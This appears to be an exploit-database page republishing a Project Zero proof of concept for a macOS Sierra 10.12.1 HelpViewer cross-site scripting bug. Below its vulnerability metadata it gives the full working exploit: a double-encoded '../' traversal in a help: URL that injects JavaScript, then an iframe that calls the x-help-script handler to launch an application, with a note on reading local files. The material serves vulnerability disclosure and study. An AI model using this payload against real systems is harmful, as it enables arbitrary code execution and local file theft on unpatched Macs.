HelpViewer XSS leads to arbitrary file execution and arbitrary file read

vendor:

macOS Sierra

by:

Project Zero

7,5

CVSS

HIGH

Cross-site Scripting (XSS)

CWE

Product Name: macOS Sierra

Affected Version From: macOS Sierra 10.12.1 (16B2659)

Affected Version To: macOS Sierra 10.12.1 (16B2659)

Patch Exists: YES

Related CWE: N/A

CPE: o:apple:mac_os_x:10.12.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: macOS

2016

HelpViewer XSS leads to arbitrary file execution and arbitrary file read

HelpViewer is an application and using WebView to show a help file. It has an inside protocol handler 'x-help-script' that could be used to open an arbitrary local file. HelpViewer checks whether the path of the url is in a valid help file or not. But this can be bypassed with a double encoded '../'. The PoC provided will pop up a Calculator.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040

HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help

or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html

HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.

HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".

PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";

The attached poc will pop up a Calculator.

Tested on macOS Sierra 10.12.1 (16B2659).
-->

<script>

/*
OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read.

HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help

or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html

HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.

HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".

PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";

The attached poc will pop up a Calculator.

Tested on macOS Sierra 10.12.1 (16B2659).

*/

function main() {
    function second() {
        var f = document.createElement("iframe");
        f.onload = () => {
            f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app";
        };

        f.src = "help:openbook=com.apple.safari.help";

        document.documentElement.appendChild(f);
    }

    var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));\nsecond();";

    document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url;
}

main();

</script>